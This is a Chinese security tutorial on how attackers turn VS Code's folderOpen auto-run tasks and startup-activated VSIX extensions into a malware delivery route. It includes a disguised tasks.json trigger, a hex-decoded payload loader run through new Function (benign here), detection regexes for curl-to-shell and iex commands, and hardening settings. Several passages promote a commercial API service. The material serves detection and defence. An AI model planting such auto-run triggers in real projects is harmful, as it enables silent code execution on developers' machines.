1. 当打开文件夹就等于执行恶意代码
VS Code 的runOn:folderOpen是 Tasks 系统里一个非常实用的自动化开关:工作区一打开,预设任务自动跑起来,省去手动点“运行任务”的步骤。问题在于,这个“自动”属性一旦被写进.vscode/tasks.json,就变成了零交互投毒的入口——你只是克隆了一个仓库、双击打开文件夹,命令已经在后台执行完了。朝鲜 APT 组织 Contagious Interview 正是把这条合法特性武器化,配合 Go 语言编写的 Overlord 跨平台后门,形成从社工投递到持久窃密的完整链路。
这篇文章面向安全研究者和想复现触发条件的开发者,重点不是复述威胁情报,而是给出可复制的 VSIX 配置骨架、本地验证动作和检测规则。我会用 TaoToken 统一 Key/API 通道来演示如何在受控环境里跑通模型辅助分析,把“投毒触发条件”和“检测规则验证”拆成能跟做的步骤。需要说明的是,所有复现都应在隔离虚拟机或一次性容器里进行,不要在生产终端上打开任何来源不明的仓库。
先明确几个核心检索词的含义:runOn:folderOpen是 VS Code 任务触发时机参数,取值folderOpen时工作区打开即执行;Overlord 是本次攻击的第二阶段 Go 后门,负责持久化和窃密;VSIX 是 VS Code 扩展包格式,攻击者用它做编辑器级驻留。理解这三者的组合方式,才能看懂整条链路为什么难防。
2. TaoToken 前置:统一 Key 与 API 通道准备
在复现和分析这类样本时,经常需要调用模型来辅助解析混淆载荷、生成检测规则或对比行为特征。TaoToken 提供统一的 Key 和 API 通道,把模型对话、编码计划、控制台和密钥管理收敛到一个入口,省去在多个平台之间切换的麻烦。对安全研究场景来说,它的价值在于:你可以用同一套凭证完成载荷语义分析、规则草拟和验证脚本生成,减少环境配置带来的干扰。
接入前先拿到 API Key。打开控制台页面创建密钥,建议按用途分 Key,比如一个专门用于样本分析、一个用于日常编码,避免混用导致额度或权限混乱。创建完成后,把 Key 存到环境变量里,不要硬编码进脚本。
# 将 Key 写入当前 shell 会话的环境变量 export TAOTOKEN_API_KEY="sk-你的实际密钥" # 验证环境变量已生效(只回显前 8 位,避免泄露完整 Key) echo "${TAOTOKEN_API_KEY:0:8}..."API 基础地址是https://taotoken.net/api,兼容 OpenAI 风格的调用方式。如果你用的是 Claude Code 或 Anthropic 风格的客户端,走对应的 Anthropic 兼容入口即可。模型对话入口适合做交互式分析,Coding Plan 适合长期编码和 Agent 任务,接入文档里有各语言的完整示例。下面这张表把几个入口的用途对齐一下,方便按场景选择。
| 入口 | 适用场景 | 典型用途 |
|---|---|---|
| 模型对话 | 交互式问答、样本语义分析 | 解析混淆 JS、解释行为链 |
| Coding Plan | 长期编码、Agent 任务 | 批量生成检测规则、写验证脚本 |
| 控制台 | 密钥与额度管理 | 创建/轮换 API Key |
| API Keys | 程序化调用 | 脚本、CI 集成 |
| 接入文档 | 各语言示例 | 快速对接 SDK |
注意:API Key 等同于账户凭证,不要提交到 Git 仓库,也不要在公开的 issue 或聊天记录里粘贴。轮换 Key 的成本很低,怀疑泄露时直接重建即可。
3. 可复制配置:VSIX 骨架与 tasks.json 触发结构
要复现runOn:folderOpen的触发条件,核心是构造一个最小化的恶意配置骨架。这里只做结构演示,载荷用无害的打印命令替代,目的是验证“打开文件夹是否自动执行”。真实攻击样本会把command指向伪装成字体或词典文件的 Node 脚本,我们先把触发链路跑通,再谈检测。
先看诱饵仓库的目录结构。攻击者通常保留完整的业务代码让仓库看起来正常,只在.vscode目录里埋触发配置,载荷藏在public/fonts这类不会被代码审查关注的资源目录。
blockchain-demo/ ├── src/ │ ├── contract/ │ └── utils/ ├── public/ │ └── fonts/ │ └── fa-brands-regular.woff2 # 伪装载荷(演示用无害文件) ├── package.json ├── README.md └── .vscode/ └── tasks.json # 触发配置.vscode/tasks.json的关键字段是runOptions.runOn,设为folderOpen后工作区打开即执行。presentation里的reveal: "never"和echo: false负责隐藏终端输出,让用户完全无感知。
{ "version": "2.0.0", "tasks": [ { "label": "eslint-code-check", "type": "shell", "command": "node", "args": ["${workspaceFolder}/public/fonts/fa-brands-regular.woff2"], "presentation": { "reveal": "never", "panel": "dedicated", "showReuseMessage": false, "echo": false }, "runOptions": { "runOn": "folderOpen" } } ] }几个字段的作用需要逐条对照:label伪装成常见的 lint 任务名降低警惕;type: shell让命令以系统 shell 权限执行,继承 VS Code 的用户权限;args指向伪装载荷;presentation.reveal: never隐藏终端面板;runOptions.runOn: folderOpen是触发点。把这五点凑齐,零交互执行的条件就成立了。
接下来是 VSIX 扩展骨架。攻击者用 VSIX 做编辑器级持久化,扩展随 VS Code 启动自动唤醒后门。一个最小 VSIX 需要package.json声明激活事件和入口,extension.js里放激活逻辑。下面只展示结构,激活逻辑用日志代替。
{ "name": "code-linter-pro", "displayName": "Code Linter Pro", "version": "1.0.0", "engines": { "vscode": "^1.80.0" }, "activationEvents": ["onStartupFinished"], "main": "./extension.js", "contributes": {} }// extension.js —— 演示用,仅记录激活时间,不含任何恶意行为 const vscode = require('vscode'); function activate(context) { // 真实样本会在这里拉起后门进程或建立 C2 连接 console.log('[demo] extension activated at', new Date().toISOString()); } function deactivate() {} module.exports = { activate, deactivate };activationEvents设为onStartupFinished表示 VS Code 启动完成后自动激活,这是持久化的关键。真实样本会把扩展名伪装成 “Google Service Helper” 这类正规工具名,常规扩展列表排查很难发现。打包 VSIX 用vsce package,安装用code --install-extension xxx.vsix,这些命令在官方文档里有,这里不展开。
4. 验证请求:本地触发与检测规则跑通
配置骨架就位后,下一步是验证触发条件是否成立,以及检测规则能否命中。整个过程在隔离环境里做,推荐用一次性容器或快照虚拟机。
第一步,构造演示仓库并打开。把上面的tasks.json和伪装载荷放进目录,载荷内容写一段无害的十六进制解码逻辑,验证“读取资源文件并执行”这条路径。
// public/fonts/fa-brands-regular.woff2 —— 演示载荷,实际是 JS 文本 // 真实样本会把 JS 转成十六进制字符串存储,执行时动态解码 const hex = '636f6e736f6c652e6c6f6728227472696767657265642229'; const code = Buffer.from(hex, 'hex').toString('utf8'); new Function('require', 'process', code)(require, process);这段十六进制解码后是console.log("triggered")。用code .打开仓库目录,观察 VS Code 是否在无提示的情况下执行了任务。如果配置正确,终端不会弹出,但你可以通过任务日志或临时把reveal改成always来确认执行。
第二步,用 TaoToken 通道跑一个检测脚本,验证规则能否识别runOn:folderOpen加危险命令的组合。下面这个 Python 脚本扫描本地仓库,检测自动执行任务和可疑命令模式。
import os import json import re DANGER_PATTERNS = [ r"curl.*[|;].*(bash|sh|zsh)", r"wget.*-O.*\.", r"Invoke-WebRequest|iwr|iex", r"eval\(|new Function|Function\(", r"node.*\.(woff2|dict|dat)", ] def scan_repo(repo_path): findings = [] tasks_file = os.path.join(repo_path, ".vscode", "tasks.json") if not os.path.exists(tasks_file): return findings try: with open(tasks_file, "r", encoding="utf-8") as f: tasks = json.load(f).get("tasks", []) except json.JSONDecodeError: return ["tasks.json 解析失败,建议人工核查"] for task in tasks: label = task.get("label", "unnamed") if task.get("runOptions", {}).get("runOn") == "folderOpen": findings.append(f"[高危] 自动执行任务: {label}") cmd = f"{task.get('command', '')} {' '.join(task.get('args', []))}" for pat in DANGER_PATTERNS: if re.search(pat, cmd, re.IGNORECASE): findings.append(f"[警告] 危险命令: {label} -> {cmd[:80]}") return findings if __name__ == "__main__": root = "./test-repos" for dirpath, dirnames, _ in os.walk(root): if ".vscode" in dirnames: hits = scan_repo(dirpath) if hits: print(f"\n=== {dirpath} ===") for h in hits: print(" ", h)把演示仓库放进test-repos目录,运行脚本,预期输出会命中[高危] 自动执行任务: eslint-code-check和[警告] 危险命令。这一步验证的是检测规则的有效性,不是攻击本身。
第三步,用 TaoToken 的模型对话入口辅助分析混淆载荷。把十六进制字符串贴进对话,让模型解释解码后的行为,或者让它根据行为描述生成 YARA 规则草稿。这一步能显著加快样本分析速度,尤其是面对多层编码的载荷时。
# 用 curl 调用 TaoToken API 做一次简单的载荷语义分析 curl -s https://taotoken.net/api/v1/chat/completions \ -H "Authorization: Bearer ${TAOTOKEN_API_KEY}" \ -H "Content-Type: application/json" \ -d '{ "model": "gpt-4o-mini", "messages": [ {"role": "user", "content": "解释这段十六进制解码后的 JS 行为:636f6e736f6c652e6c6f6728227472696767657265642229"} ] }'预期返回里会说明解码结果是console.log("triggered")。真实样本的载荷会更复杂,但分析路径一致:先解码,再让模型解释行为,最后据此写检测规则。
5. 本篇常见错排查
复现过程中容易踩几个坑,这里集中列一下,省得你逐个试。
任务没有自动执行。最常见的原因是工作区信任机制拦截。VS Code 首次打开陌生文件夹会弹信任提示,未信任的工作区禁用自动任务。检查security.workspace.trust.enabled是否为true,以及当前工作区是否处于受限模式。Cursor、Windsurf 这类 AI 编辑器默认关闭信任校验,所以攻击成功率更高,但这也意味着在它们上面复现时不会有信任弹窗。
runOn:folderOpen不生效。确认tasks.json放在.vscode目录下,且 JSON 格式合法。version字段必须是"2.0.0",旧版本不支持runOptions。另外,如果任务被标记为isBackground或依赖其他任务,触发行为可能不同。
检测脚本漏报。危险命令模式是启发式的,攻击者会做字符串拼接、Base64 编码或变量替换来绕过。比如把node拆成no+de,或者用$()动态构造命令。检测规则要结合行为监控,不能只靠静态正则。EDR 层面关注编辑器进程发起的外连、子进程创建和自启项写入,比单纯扫配置文件更可靠。
VSIX 安装被拦截。VS Code 默认只允许从官方市场安装扩展,侧载 VSIX 需要--install-extension参数或开启extensions.allowPrivateGallery。真实攻击会诱导用户手动安装,或者利用已信任工作区的配置修改扩展权限。排查时检查extensions.allowWorkspaceConfigurationUpdates是否被设为true。
TaoToken 调用返回 401。检查TAOTOKEN_API_KEY是否已导出到当前 shell,以及 Key 是否有对应模型的权限。如果用的是 Anthropic 风格客户端,确认 base URL 走的是兼容入口而不是 OpenAI 风格路径。
提示:复现时把
presentation.reveal临时改成always,能直观看到任务是否执行。验证完再改回never,避免误以为没触发。
6. 把检测规则落到日常流程里
复现的最终目的是把触发条件和检测规则固化下来。个人开发者可以在 VS Code 的settings.json里加几行加固配置:强制开启工作区信任、禁用任务自动执行、禁止工作区修改扩展权限。这几项加起来能挡住大部分基于runOn:folderOpen的投毒。
{ "security.workspace.trust.enabled": true, "security.workspace.trust.startupPrompt": "always", "tasks.autoRun": "never", "extensions.allowWorkspaceConfigurationUpdates": false, "extensions.verifySignature": true }企业侧则把检测规则接到 EDR 和仓库准入流程里。重点监控三类行为:编辑器进程发起 5173 端口的 WebSocket 长连接、编辑器子进程下载并执行未知二进制、非官方市场路径的 VSIX 被加载。仓库准入环节用前面的 Python 脚本做批量扫描,外部来源的代码先在隔离环境审查再打开。
如果你需要把这套检测逻辑做成长期运行的 Agent 任务,比如定时扫描仓库、自动生成规则更新,可以用 TaoToken 的 Coding Plan 来承载。模型对话入口适合单次样本分析,Coding Plan 适合把分析流程脚本化、周期化。接入文档里有完整的 SDK 示例,API Key 在控制台创建后按用途分 Key 管理,轮换成本很低。
整条链路拆到这里,核心结论其实很朴素:runOn:folderOpen本身不是漏洞,它是被滥用的合法特性,补丁修不了设计,只能靠配置加固、流程管控和行为检测来防。把触发条件复现清楚,检测规则才有验证的基准;把检测规则落到日常流程里,复现才有实际价值。